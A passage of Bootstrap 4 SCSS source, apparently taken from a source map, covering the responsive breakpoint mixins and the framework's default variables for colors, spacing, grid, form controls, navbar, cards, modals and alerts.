breakpoint-max(sm, (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px))\n// 767.98px\n@function breakpoint-max($name, $breakpoints: $grid-breakpoints) {\n $next: breakpoint-next($name, $breakpoints);\n @return if($next, breakpoint-min($next, $breakpoints) - .02px, null);\n}\n\n// Returns a blank string if smallest breakpoint, otherwise returns the name with a dash infront.\n// Useful for making responsive utilities.\n//\n// >> breakpoint-infix(xs, (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px))\n// \"\" (Returns a blank string)\n// >> breakpoint-infix(sm, (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px))\n// \"-sm\"\n@function breakpoint-infix($name, $breakpoints: $grid-breakpoints) {\n @return if(breakpoint-min($name, $breakpoints) == null, \"\", \"-#{$name}\");\n}\n\n// Media of at least the minimum breakpoint width. No query for the smallest breakpoint.\n// Makes the @content apply to the given breakpoint and wider.\n@mixin media-breakpoint-up($name, $breakpoints: $grid-breakpoints) {\n $min: breakpoint-min($name, $breakpoints);\n @if $min {\n @media (min-width: $min) {\n @content;\n }\n } @else {\n @content;\n }\n}\n\n// Media of at most the maximum breakpoint width. No query for the largest breakpoint.\n// Makes the @content apply to the given breakpoint and narrower.\n@mixin media-breakpoint-down($name, $breakpoints: $grid-breakpoints) {\n $max: breakpoint-max($name, $breakpoints);\n @if $max {\n @media (max-width: $max) {\n @content;\n }\n } @else {\n @content;\n }\n}\n\n// Media that spans multiple breakpoint widths.\n// Makes the @content apply between the min and max breakpoints\n@mixin media-breakpoint-between($lower, $upper, $breakpoints: $grid-breakpoints) {\n $min: breakpoint-min($lower, $breakpoints);\n $max: breakpoint-max($upper, $breakpoints);\n\n @if $min != null and $max != null {\n @media (min-width: $min) and (max-width: $max) {\n @content;\n }\n } @else if $max == null {\n @include media-breakpoint-up($lower, $breakpoints) {\n @content;\n }\n } @else if $min == null {\n @include media-breakpoint-down($upper, $breakpoints) {\n @content;\n }\n }\n}\n\n// Media between the breakpoint's minimum and maximum widths.\n// No minimum for the smallest breakpoint, and no maximum for the largest one.\n// Makes the @content apply only to the given breakpoint, not viewports any wider or narrower.\n@mixin media-breakpoint-only($name, $breakpoints: $grid-breakpoints) {\n $min: breakpoint-min($name, $breakpoints);\n $max: breakpoint-max($name, $breakpoints);\n\n @if $min != null and $max != null {\n @media (min-width: $min) and (max-width: $max) {\n @content;\n }\n } @else if $max == null {\n @include media-breakpoint-up($name, $breakpoints) {\n @content;\n }\n } @else if $min == null {\n @include media-breakpoint-down($name, $breakpoints) {\n @content;\n }\n }\n}\n","// Variables\n//\n// Variables should follow the `$component-state-property-size` formula for\n// consistent naming. Ex: $nav-link-disabled-color and $modal-content-box-shadow-xs.\n\n\n//\n// Color system\n//\n\n// stylelint-disable\n$white: #fff !default;\n$gray-100: #f8f9fa !default;\n$gray-200: #e9ecef !default;\n$gray-300: #dee2e6 !default;\n$gray-400: #ced4da !default;\n$gray-500: #adb5bd !default;\n$gray-600: #6c757d !default;\n$gray-700: #495057 !default;\n$gray-800: #343a40 !default;\n$gray-900: #212529 !default;\n$black: #000 !default;\n\n$grays: () !default;\n$grays: map-merge((\n \"100\": $gray-100,\n \"200\": $gray-200,\n \"300\": $gray-300,\n \"400\": $gray-400,\n \"500\": $gray-500,\n \"600\": $gray-600,\n \"700\": $gray-700,\n \"800\": $gray-800,\n \"900\": $gray-900\n), $grays);\n\n$blue: #007bff !default;\n$indigo: #6610f2 !default;\n$purple: #6f42c1 !default;\n$pink: #e83e8c !default;\n$red: #dc3545 !default;\n$orange: #fd7e14 !default;\n$yellow: #ffc107 !default;\n$green: #28a745 !default;\n$teal: #20c997 !default;\n$cyan: #17a2b8 !default;\n\n$colors: () !default;\n$colors: map-merge((\n \"blue\": $blue,\n \"indigo\": $indigo,\n \"purple\": $purple,\n \"pink\": $pink,\n \"red\": $red,\n \"orange\": $orange,\n \"yellow\": $yellow,\n \"green\": $green,\n \"teal\": $teal,\n \"cyan\": $cyan,\n \"white\": $white,\n \"gray\": $gray-600,\n \"gray-dark\": $gray-800\n), $colors);\n\n$primary: $blue !default;\n$secondary: $gray-600 !default;\n$success: $green !default;\n$info: $cyan !default;\n$warning: $yellow !default;\n$danger: $red !default;\n$light: $gray-100 !default;\n$dark: $gray-800 !default;\n\n$theme-colors: () !default;\n$theme-colors: map-merge((\n \"primary\": $primary,\n \"secondary\": $secondary,\n \"success\": $success,\n \"info\": $info,\n \"warning\": $warning,\n \"danger\": $danger,\n \"light\": $light,\n \"dark\": $dark\n), $theme-colors);\n// stylelint-enable\n\n// Set a specific jump point for requesting color jumps\n$theme-color-interval: 8% !default;\n\n// The yiq lightness value that determines when the lightness of color changes from \"dark\" to \"light\". Acceptable values are between 0 and 255.\n$yiq-contrasted-threshold: 150 !default;\n\n// Customize the light and dark text colors for use in our YIQ color contrast function.\n$yiq-text-dark: $gray-900 !default;\n$yiq-text-light: $white !default;\n\n// Options\n//\n// Quickly modify global styling by enabling or disabling optional features.\n\n$enable-caret: true !default;\n$enable-rounded: true !default;\n$enable-shadows: false !default;\n$enable-gradients: false !default;\n$enable-transitions: true !default;\n$enable-hover-media-query: false !default; // Deprecated, no longer affects any compiled CSS\n$enable-grid-classes: true !default;\n$enable-print-styles: true !default;\n\n\n// Spacing\n//\n// Control the default styling of most Bootstrap elements by modifying these\n// variables. Mostly focused on spacing.\n// You can add more entries to the $spacers map, should you need more variation.\n\n// stylelint-disable\n$spacer: 1rem !default;\n$spacers: () !default;\n$spacers: map-merge((\n 0: 0,\n 1: ($spacer * .25),\n 2: ($spacer * .5),\n 3: $spacer,\n 4: ($spacer * 1.5),\n 5: ($spacer * 3)\n), $spacers);\n\n// This variable affects the `.h-*` and `.w-*` classes.\n$sizes: () !default;\n$sizes: map-merge((\n 25: 25%,\n 50: 50%,\n 75: 75%,\n 100: 100%,\n auto: auto\n), $sizes);\n// stylelint-enable\n\n// Body\n//\n// Settings for the `<body>` element.\n\n$body-bg: $white !default;\n$body-color: $gray-900 !default;\n\n// Links\n//\n// Style anchor elements.\n\n$link-color: theme-color(\"primary\") !default;\n$link-decoration: none !default;\n$link-hover-color: darken($link-color, 15%) !default;\n$link-hover-decoration: underline !default;\n\n// Paragraphs\n//\n// Style p element.\n\n$paragraph-margin-bottom: 1rem !default;\n\n\n// Grid breakpoints\n//\n// Define the minimum dimensions at which your layout will change,\n// adapting to different screen sizes, for use in media queries.\n\n$grid-breakpoints: (\n xs: 0,\n sm: 576px,\n md: 768px,\n lg: 992px,\n xl: 1200px\n) !default;\n\n@include _assert-ascending($grid-breakpoints, \"$grid-breakpoints\");\n@include _assert-starts-at-zero($grid-breakpoints);\n\n\n// Grid containers\n//\n// Define the maximum width of `.container` for different screen sizes.\n\n$container-max-widths: (\n sm: 540px,\n md: 720px,\n lg: 960px,\n xl: 1140px\n) !default;\n\n@include _assert-ascending($container-max-widths, \"$container-max-widths\");\n\n\n// Grid columns\n//\n// Set the number of columns and specify the width of the gutters.\n\n$grid-columns: 12 !default;\n$grid-gutter-width: 30px !default;\n\n// Components\n//\n// Define common padding and border radius sizes and more.\n\n$line-height-lg: 1.5 !default;\n$line-height-sm: 1.5 !default;\n\n$border-width: 1px !default;\n$border-color: $gray-300 !default;\n\n$border-radius: .25rem !default;\n$border-radius-lg: .3rem !default;\n$border-radius-sm: .2rem !default;\n\n$box-shadow-sm: 0 .125rem .25rem rgba($black, .075) !default;\n$box-shadow: 0 .5rem 1rem rgba($black, .15) !default;\n$box-shadow-lg: 0 1rem 3rem rgba($black, .175) !default;\n\n$component-active-color: $white !default;\n$component-active-bg: theme-color(\"primary\") !default;\n\n$caret-width: .3em !default;\n\n$transition-base: all .2s ease-in-out !default;\n$transition-fade: opacity .15s linear !default;\n$transition-collapse: height .35s ease !default;\n\n\n// Fonts\n//\n// Font, line-height, and color for body text, headings, and more.\n\n// stylelint-disable value-keyword-case\n$font-family-sans-serif: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\" !default;\n$font-family-monospace: SFMono-Regular, Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", monospace !default;\n$font-family-base: $font-family-sans-serif !default;\n// stylelint-enable value-keyword-case\n\n$font-size-base: 1rem !default; // Assumes the browser default, typically `16px`\n$font-size-lg: ($font-size-base * 1.25) !default;\n$font-size-sm: ($font-size-base * .875) !default;\n\n$font-weight-light: 300 !default;\n$font-weight-normal: 400 !default;\n$font-weight-bold: 700 !default;\n\n$font-weight-base: $font-weight-normal !default;\n$line-height-base: 1.5 !default;\n\n$h1-font-size: $font-size-base * 2.5 !default;\n$h2-font-size: $font-size-base * 2 !default;\n$h3-font-size: $font-size-base * 1.75 !default;\n$h4-font-size: $font-size-base * 1.5 !default;\n$h5-font-size: $font-size-base * 1.25 !default;\n$h6-font-size: $font-size-base !default;\n\n$headings-margin-bottom: ($spacer / 2) !default;\n$headings-font-family: inherit !default;\n$headings-font-weight: 500 !default;\n$headings-line-height: 1.2 !default;\n$headings-color: inherit !default;\n\n$display1-size: 6rem !default;\n$display2-size: 5.5rem !default;\n$display3-size: 4.5rem !default;\n$display4-size: 3.5rem !default;\n\n$display1-weight: 300 !default;\n$display2-weight: 300 !default;\n$display3-weight: 300 !default;\n$display4-weight: 300 !default;\n$display-line-height: $headings-line-height !default;\n\n$lead-font-size: ($font-size-base * 1.25) !default;\n$lead-font-weight: 300 !default;\n\n$small-font-size: 80% !default;\n\n$text-muted: $gray-600 !default;\n\n$blockquote-small-color: $gray-600 !default;\n$blockquote-font-size: ($font-size-base * 1.25) !default;\n\n$hr-border-color: rgba($black, .1) !default;\n$hr-border-width: $border-width !default;\n\n$mark-padding: .2em !default;\n\n$dt-font-weight: $font-weight-bold !default;\n\n$kbd-box-shadow: inset 0 -.1rem 0 rgba($black, .25) !default;\n$nested-kbd-font-weight: $font-weight-bold !default;\n\n$list-inline-padding: .5rem !default;\n\n$mark-bg: #fcf8e3 !default;\n\n$hr-margin-y: $spacer !default;\n\n\n// Tables\n//\n// Customizes the `.table` component with basic values, each used across all table variations.\n\n$table-cell-padding: .75rem !default;\n$table-cell-padding-sm: .3rem !default;\n\n$table-bg: transparent !default;\n$table-accent-bg: rgba($black, .05) !default;\n$table-hover-bg: rgba($black, .075) !default;\n$table-active-bg: $table-hover-bg !default;\n\n$table-border-width: $border-width !default;\n$table-border-color: $gray-300 !default;\n\n$table-head-bg: $gray-200 !default;\n$table-head-color: $gray-700 !default;\n\n$table-dark-bg: $gray-900 !default;\n$table-dark-accent-bg: rgba($white, .05) !default;\n$table-dark-hover-bg: rgba($white, .075) !default;\n$table-dark-border-color: lighten($gray-900, 7.5%) !default;\n$table-dark-color: $body-bg !default;\n\n$table-striped-order: odd !default;\n\n$table-caption-color: $text-muted !default;\n\n// Buttons + Forms\n//\n// Shared variables that are reassigned to `$input-` and `$btn-` specific variables.\n\n$input-btn-padding-y: .375rem !default;\n$input-btn-padding-x: .75rem !default;\n$input-btn-line-height: $line-height-base !default;\n\n$input-btn-focus-width: .2rem !default;\n$input-btn-focus-color: rgba($component-active-bg, .25) !default;\n$input-btn-focus-box-shadow: 0 0 0 $input-btn-focus-width $input-btn-focus-color !default;\n\n$input-btn-padding-y-sm: .25rem !default;\n$input-btn-padding-x-sm: .5rem !default;\n$input-btn-line-height-sm: $line-height-sm !default;\n\n$input-btn-padding-y-lg: .5rem !default;\n$input-btn-padding-x-lg: 1rem !default;\n$input-btn-line-height-lg: $line-height-lg !default;\n\n$input-btn-border-width: $border-width !default;\n\n\n// Buttons\n//\n// For each of Bootstrap's buttons, define text, background, and border color.\n\n$btn-padding-y: $input-btn-padding-y !default;\n$btn-padding-x: $input-btn-padding-x !default;\n$btn-line-height: $input-btn-line-height !default;\n\n$btn-padding-y-sm: $input-btn-padding-y-sm !default;\n$btn-padding-x-sm: $input-btn-padding-x-sm !default;\n$btn-line-height-sm: $input-btn-line-height-sm !default;\n\n$btn-padding-y-lg: $input-btn-padding-y-lg !default;\n$btn-padding-x-lg: $input-btn-padding-x-lg !default;\n$btn-line-height-lg: $input-btn-line-height-lg !default;\n\n$btn-border-width: $input-btn-border-width !default;\n\n$btn-font-weight: $font-weight-normal !default;\n$btn-box-shadow: inset 0 1px 0 rgba($white, .15), 0 1px 1px rgba($black, .075) !default;\n$btn-focus-width: $input-btn-focus-width !default;\n$btn-focus-box-shadow: $input-btn-focus-box-shadow !default;\n$btn-disabled-opacity: .65 !default;\n$btn-active-box-shadow: inset 0 3px 5px rgba($black, .125) !default;\n\n$btn-link-disabled-color: $gray-600 !default;\n\n$btn-block-spacing-y: .5rem !default;\n\n// Allows for customizing button radius independently from global border radius\n$btn-border-radius: $border-radius !default;\n$btn-border-radius-lg: $border-radius-lg !default;\n$btn-border-radius-sm: $border-radius-sm !default;\n\n$btn-transition: color .15s ease-in-out, background-color .15s ease-in-out, border-color .15s ease-in-out, box-shadow .15s ease-in-out !default;\n\n\n// Forms\n\n$label-margin-bottom: .5rem !default;\n\n$input-padding-y: $input-btn-padding-y !default;\n$input-padding-x: $input-btn-padding-x !default;\n$input-line-height: $input-btn-line-height !default;\n\n$input-padding-y-sm: $input-btn-padding-y-sm !default;\n$input-padding-x-sm: $input-btn-padding-x-sm !default;\n$input-line-height-sm: $input-btn-line-height-sm !default;\n\n$input-padding-y-lg: $input-btn-padding-y-lg !default;\n$input-padding-x-lg: $input-btn-padding-x-lg !default;\n$input-line-height-lg: $input-btn-line-height-lg !default;\n\n$input-bg: $white !default;\n$input-disabled-bg: $gray-200 !default;\n\n$input-color: $gray-700 !default;\n$input-border-color: $gray-400 !default;\n$input-border-width: $input-btn-border-width !default;\n$input-box-shadow: inset 0 1px 1px rgba($black, .075) !default;\n\n$input-border-radius: $border-radius !default;\n$input-border-radius-lg: $border-radius-lg !default;\n$input-border-radius-sm: $border-radius-sm !default;\n\n$input-focus-bg: $input-bg !default;\n$input-focus-border-color: lighten($component-active-bg, 25%) !default;\n$input-focus-color: $input-color !default;\n$input-focus-width: $input-btn-focus-width !default;\n$input-focus-box-shadow: $input-btn-focus-box-shadow !default;\n\n$input-placeholder-color: $gray-600 !default;\n$input-plaintext-color: $body-color !default;\n\n$input-height-border: $input-border-width * 2 !default;\n\n$input-height-inner: ($font-size-base * $input-btn-line-height) + ($input-btn-padding-y * 2) !default;\n$input-height: calc(#{$input-height-inner} + #{$input-height-border}) !default;\n\n$input-height-inner-sm: ($font-size-sm * $input-btn-line-height-sm) + ($input-btn-padding-y-sm * 2) !default;\n$input-height-sm: calc(#{$input-height-inner-sm} + #{$input-height-border}) !default;\n\n$input-height-inner-lg: ($font-size-lg * $input-btn-line-height-lg) + ($input-btn-padding-y-lg * 2) !default;\n$input-height-lg: calc(#{$input-height-inner-lg} + #{$input-height-border}) !default;\n\n$input-transition: border-color .15s ease-in-out, box-shadow .15s ease-in-out !default;\n\n$form-text-margin-top: .25rem !default;\n\n$form-check-input-gutter: 1.25rem !default;\n$form-check-input-margin-y: .3rem !default;\n$form-check-input-margin-x: .25rem !default;\n\n$form-check-inline-margin-x: .75rem !default;\n$form-check-inline-input-margin-x: .3125rem !default;\n\n$form-group-margin-bottom: 1rem !default;\n\n$input-group-addon-color: $input-color !default;\n$input-group-addon-bg: $gray-200 !default;\n$input-group-addon-border-color: $input-border-color !default;\n\n$custom-control-gutter: 1.5rem !default;\n$custom-control-spacer-x: 1rem !default;\n\n$custom-control-indicator-size: 1rem !default;\n$custom-control-indicator-bg: $gray-300 !default;\n$custom-control-indicator-bg-size: 50% 50% !default;\n$custom-control-indicator-box-shadow: inset 0 .25rem .25rem rgba($black, .1) !default;\n\n$custom-control-indicator-disabled-bg: $gray-200 !default;\n$custom-control-label-disabled-color: $gray-600 !default;\n\n$custom-control-indicator-checked-color: $component-active-color !default;\n$custom-control-indicator-checked-bg: $component-active-bg !default;\n$custom-control-indicator-checked-disabled-bg: rgba(theme-color(\"primary\"), .5) !default;\n$custom-control-indicator-checked-box-shadow: none !default;\n\n$custom-control-indicator-focus-box-shadow: 0 0 0 1px $body-bg, $input-btn-focus-box-shadow !default;\n\n$custom-control-indicator-active-color: $component-active-color !default;\n$custom-control-indicator-active-bg: lighten($component-active-bg, 35%) !default;\n$custom-control-indicator-active-box-shadow: none !default;\n\n$custom-checkbox-indicator-border-radius: $border-radius !default;\n$custom-checkbox-indicator-icon-checked: str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3E%3Cpath fill='#{$custom-control-indicator-checked-color}' d='M6.564.75l-3.59 3.612-1.538-1.55L0 4.26 2.974 7.25 8 2.193z'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n\n$custom-checkbox-indicator-indeterminate-bg: $component-active-bg !default;\n$custom-checkbox-indicator-indeterminate-color: $custom-control-indicator-checked-color !default;\n$custom-checkbox-indicator-icon-indeterminate: str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 4'%3E%3Cpath stroke='#{$custom-checkbox-indicator-indeterminate-color}' d='M0 2h4'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n$custom-checkbox-indicator-indeterminate-box-shadow: none !default;\n\n$custom-radio-indicator-border-radius: 50% !default;\n$custom-radio-indicator-icon-checked: str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3E%3Ccircle r='3' fill='#{$custom-control-indicator-checked-color}'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n\n$custom-select-padding-y: .375rem !default;\n$custom-select-padding-x: .75rem !default;\n$custom-select-height: $input-height !default;\n$custom-select-indicator-padding: 1rem !default; // Extra padding to account for the presence of the background-image based indicator\n$custom-select-line-height: $input-btn-line-height !default;\n$custom-select-color: $input-color !default;\n$custom-select-disabled-color: $gray-600 !default;\n$custom-select-bg: $input-bg !default;\n$custom-select-disabled-bg: $gray-200 !default;\n$custom-select-bg-size: 8px 10px !default; // In pixels because image dimensions\n$custom-select-indicator-color: $gray-800 !default;\n$custom-select-indicator: str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3E%3Cpath fill='#{$custom-select-indicator-color}' d='M2 0L0 2h4zm0 5L0 3h4z'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n$custom-select-border-width: $input-btn-border-width !default;\n$custom-select-border-color: $input-border-color !default;\n$custom-select-border-radius: $border-radius !default;\n\n$custom-select-focus-border-color: $input-focus-border-color !default;\n$custom-select-focus-box-shadow: inset 0 1px 2px rgba($black, .075), 0 0 5px rgba($custom-select-focus-border-color, .5) !default;\n\n$custom-select-font-size-sm: 75% !default;\n$custom-select-height-sm: $input-height-sm !default;\n\n$custom-select-font-size-lg: 125% !default;\n$custom-select-height-lg: $input-height-lg !default;\n\n$custom-range-track-width: 100% !default;\n$custom-range-track-height: .5rem !default;\n$custom-range-track-cursor: pointer !default;\n$custom-range-track-bg: $gray-300 !default;\n$custom-range-track-border-radius: 1rem !default;\n$custom-range-track-box-shadow: inset 0 .25rem .25rem rgba($black, .1) !default;\n\n$custom-range-thumb-width: 1rem !default;\n$custom-range-thumb-height: $custom-range-thumb-width !default;\n$custom-range-thumb-bg: $component-active-bg !default;\n$custom-range-thumb-border: 0 !default;\n$custom-range-thumb-border-radius: 1rem !default;\n$custom-range-thumb-box-shadow: 0 .1rem .25rem rgba($black, .1) !default;\n$custom-range-thumb-focus-box-shadow: 0 0 0 1px $body-bg, $input-btn-focus-box-shadow !default;\n$custom-range-thumb-active-bg: lighten($component-active-bg, 35%) !default;\n\n$custom-file-height: $input-height !default;\n$custom-file-focus-border-color: $input-focus-border-color !default;\n$custom-file-focus-box-shadow: $input-btn-focus-box-shadow !default;\n\n$custom-file-padding-y: $input-btn-padding-y !default;\n$custom-file-padding-x: $input-btn-padding-x !default;\n$custom-file-line-height: $input-btn-line-height !default;\n$custom-file-color: $input-color !default;\n$custom-file-bg: $input-bg !default;\n$custom-file-border-width: $input-btn-border-width !default;\n$custom-file-border-color: $input-border-color !default;\n$custom-file-border-radius: $input-border-radius !default;\n$custom-file-box-shadow: $input-box-shadow !default;\n$custom-file-button-color: $custom-file-color !default;\n$custom-file-button-bg: $input-group-addon-bg !default;\n$custom-file-text: (\n en: \"Browse\"\n) !default;\n\n\n// Form validation\n$form-feedback-margin-top: $form-text-margin-top !default;\n$form-feedback-font-size: $small-font-size !default;\n$form-feedback-valid-color: theme-color(\"success\") !default;\n$form-feedback-invalid-color: theme-color(\"danger\") !default;\n\n\n// Dropdowns\n//\n// Dropdown menu container and contents.\n\n$dropdown-min-width: 10rem !default;\n$dropdown-padding-y: .5rem !default;\n$dropdown-spacer: .125rem !default;\n$dropdown-bg: $white !default;\n$dropdown-border-color: rgba($black, .15) !default;\n$dropdown-border-radius: $border-radius !default;\n$dropdown-border-width: $border-width !default;\n$dropdown-divider-bg: $gray-200 !default;\n$dropdown-box-shadow: 0 .5rem 1rem rgba($black, .175) !default;\n\n$dropdown-link-color: $gray-900 !default;\n$dropdown-link-hover-color: darken($gray-900, 5%) !default;\n$dropdown-link-hover-bg: $gray-100 !default;\n\n$dropdown-link-active-color: $component-active-color !default;\n$dropdown-link-active-bg: $component-active-bg !default;\n\n$dropdown-link-disabled-color: $gray-600 !default;\n\n$dropdown-item-padding-y: .25rem !default;\n$dropdown-item-padding-x: 1.5rem !default;\n\n$dropdown-header-color: $gray-600 !default;\n\n\n// Z-index master list\n//\n// Warning: Avoid customizing these values. They're used for a bird's eye view\n// of components dependent on the z-axis and are designed to all work together.\n\n$zindex-dropdown: 1000 !default;\n$zindex-sticky: 1020 !default;\n$zindex-fixed: 1030 !default;\n$zindex-modal-backdrop: 1040 !default;\n$zindex-modal: 1050 !default;\n$zindex-popover: 1060 !default;\n$zindex-tooltip: 1070 !default;\n\n// Navs\n\n$nav-link-padding-y: .5rem !default;\n$nav-link-padding-x: 1rem !default;\n$nav-link-disabled-color: $gray-600 !default;\n\n$nav-tabs-border-color: $gray-300 !default;\n$nav-tabs-border-width: $border-width !default;\n$nav-tabs-border-radius: $border-radius !default;\n$nav-tabs-link-hover-border-color: $gray-200 $gray-200 $nav-tabs-border-color !default;\n$nav-tabs-link-active-color: $gray-700 !default;\n$nav-tabs-link-active-bg: $body-bg !default;\n$nav-tabs-link-active-border-color: $gray-300 $gray-300 $nav-tabs-link-active-bg !default;\n\n$nav-pills-border-radius: $border-radius !default;\n$nav-pills-link-active-color: $component-active-color !default;\n$nav-pills-link-active-bg: $component-active-bg !default;\n\n$nav-divider-color: $gray-200 !default;\n$nav-divider-margin-y: ($spacer / 2) !default;\n\n// Navbar\n\n$navbar-padding-y: ($spacer / 2) !default;\n$navbar-padding-x: $spacer !default;\n\n$navbar-nav-link-padding-x: .5rem !default;\n\n$navbar-brand-font-size: $font-size-lg !default;\n// Compute the navbar-brand padding-y so the navbar-brand will have the same height as navbar-text and nav-link\n$nav-link-height: ($font-size-base * $line-height-base + $nav-link-padding-y * 2) !default;\n$navbar-brand-height: $navbar-brand-font-size * $line-height-base !default;\n$navbar-brand-padding-y: ($nav-link-height - $navbar-brand-height) / 2 !default;\n\n$navbar-toggler-padding-y: .25rem !default;\n$navbar-toggler-padding-x: .75rem !default;\n$navbar-toggler-font-size: $font-size-lg !default;\n$navbar-toggler-border-radius: $btn-border-radius !default;\n\n$navbar-dark-color: rgba($white, .5) !default;\n$navbar-dark-hover-color: rgba($white, .75) !default;\n$navbar-dark-active-color: $white !default;\n$navbar-dark-disabled-color: rgba($white, .25) !default;\n$navbar-dark-toggler-icon-bg: str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='#{$navbar-dark-color}' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n$navbar-dark-toggler-border-color: rgba($white, .1) !default;\n\n$navbar-light-color: rgba($black, .5) !default;\n$navbar-light-hover-color: rgba($black, .7) !default;\n$navbar-light-active-color: rgba($black, .9) !default;\n$navbar-light-disabled-color: rgba($black, .3) !default;\n$navbar-light-toggler-icon-bg: str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='#{$navbar-light-color}' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n$navbar-light-toggler-border-color: rgba($black, .1) !default;\n\n// Pagination\n\n$pagination-padding-y: .5rem !default;\n$pagination-padding-x: .75rem !default;\n$pagination-padding-y-sm: .25rem !default;\n$pagination-padding-x-sm: .5rem !default;\n$pagination-padding-y-lg: .75rem !default;\n$pagination-padding-x-lg: 1.5rem !default;\n$pagination-line-height: 1.25 !default;\n\n$pagination-color: $link-color !default;\n$pagination-bg: $white !default;\n$pagination-border-width: $border-width !default;\n$pagination-border-color: $gray-300 !default;\n\n$pagination-focus-box-shadow: $input-btn-focus-box-shadow !default;\n$pagination-focus-outline: 0 !default;\n\n$pagination-hover-color: $link-hover-color !default;\n$pagination-hover-bg: $gray-200 !default;\n$pagination-hover-border-color: $gray-300 !default;\n\n$pagination-active-color: $component-active-color !default;\n$pagination-active-bg: $component-active-bg !default;\n$pagination-active-border-color: $pagination-active-bg !default;\n\n$pagination-disabled-color: $gray-600 !default;\n$pagination-disabled-bg: $white !default;\n$pagination-disabled-border-color: $gray-300 !default;\n\n\n// Jumbotron\n\n$jumbotron-padding: 2rem !default;\n$jumbotron-bg: $gray-200 !default;\n\n\n// Cards\n\n$card-spacer-y: .75rem !default;\n$card-spacer-x: 1.25rem !default;\n$card-border-width: $border-width !default;\n$card-border-radius: $border-radius !default;\n$card-border-color: rgba($black, .125) !default;\n$card-inner-border-radius: calc(#{$card-border-radius} - #{$card-border-width}) !default;\n$card-cap-bg: rgba($black, .03) !default;\n$card-bg: $white !default;\n\n$card-img-overlay-padding: 1.25rem !default;\n\n$card-group-margin: ($grid-gutter-width / 2) !default;\n$card-deck-margin: $card-group-margin !default;\n\n$card-columns-count: 3 !default;\n$card-columns-gap: 1.25rem !default;\n$card-columns-margin: $card-spacer-y !default;\n\n\n// Tooltips\n\n$tooltip-font-size: $font-size-sm !default;\n$tooltip-max-width: 200px !default;\n$tooltip-color: $white !default;\n$tooltip-bg: $black !default;\n$tooltip-border-radius: $border-radius !default;\n$tooltip-opacity: .9 !default;\n$tooltip-padding-y: .25rem !default;\n$tooltip-padding-x: .5rem !default;\n$tooltip-margin: 0 !default;\n\n$tooltip-arrow-width: .8rem !default;\n$tooltip-arrow-height: .4rem !default;\n$tooltip-arrow-color: $tooltip-bg !default;\n\n\n// Popovers\n\n$popover-font-size: $font-size-sm !default;\n$popover-bg: $white !default;\n$popover-max-width: 276px !default;\n$popover-border-width: $border-width !default;\n$popover-border-color: rgba($black, .2) !default;\n$popover-border-radius: $border-radius-lg !default;\n$popover-box-shadow: 0 .25rem .5rem rgba($black, .2) !default;\n\n$popover-header-bg: darken($popover-bg, 3%) !default;\n$popover-header-color: $headings-color !default;\n$popover-header-padding-y: .5rem !default;\n$popover-header-padding-x: .75rem !default;\n\n$popover-body-color: $body-color !default;\n$popover-body-padding-y: $popover-header-padding-y !default;\n$popover-body-padding-x: $popover-header-padding-x !default;\n\n$popover-arrow-width: 1rem !default;\n$popover-arrow-height: .5rem !default;\n$popover-arrow-color: $popover-bg !default;\n\n$popover-arrow-outer-color: fade-in($popover-border-color, .05) !default;\n\n\n// Badges\n\n$badge-font-size: 75% !default;\n$badge-font-weight: $font-weight-bold !default;\n$badge-padding-y: .25em !default;\n$badge-padding-x: .4em !default;\n$badge-border-radius: $border-radius !default;\n\n$badge-pill-padding-x: .6em !default;\n// Use a higher than normal value to ensure completely rounded edges when\n// customizing padding or font-size on labels.\n$badge-pill-border-radius: 10rem !default;\n\n\n// Modals\n\n// Padding applied to the modal body\n$modal-inner-padding: 1rem !default;\n\n$modal-dialog-margin: .5rem !default;\n$modal-dialog-margin-y-sm-up: 1.75rem !default;\n\n$modal-title-line-height: $line-height-base !default;\n\n$modal-content-bg: $white !default;\n$modal-content-border-color: rgba($black, .2) !default;\n$modal-content-border-width: $border-width !default;\n$modal-content-border-radius: $border-radius-lg !default;\n$modal-content-box-shadow-xs: 0 .25rem .5rem rgba($black, .5) !default;\n$modal-content-box-shadow-sm-up: 0 .5rem 1rem rgba($black, .5) !default;\n\n$modal-backdrop-bg: $black !default;\n$modal-backdrop-opacity: .5 !default;\n$modal-header-border-color: $gray-200 !default;\n$modal-footer-border-color: $modal-header-border-color !default;\n$modal-header-border-width: $modal-content-border-width !default;\n$modal-footer-border-width: $modal-header-border-width !default;\n$modal-header-padding: 1rem !default;\n\n$modal-lg: 800px !default;\n$modal-md: 500px !default;\n$modal-sm: 300px !default;\n\n$modal-transition: transform .3s ease-out !default;\n\n\n// Alerts\n//\n// Define alert colors, border radius, and padding.\n\n$alert-padding-y: .75rem !default;\n$alert-padding-x: 1.25rem !default;\n$alert-margin-bottom: 1rem !default;\n$alert-border-radius: $border-radius !default;\n$alert-link-font-weight: $font-weight-bold !default;\n$alert-border-width: $border-width !default;\n\n$alert-bg-level: -10 !default;\n$alert-border-level: -9 !default;\n$alert-color-level: 6 !default;\n\n\n// Progress bars\n\n$progress-height: 1rem 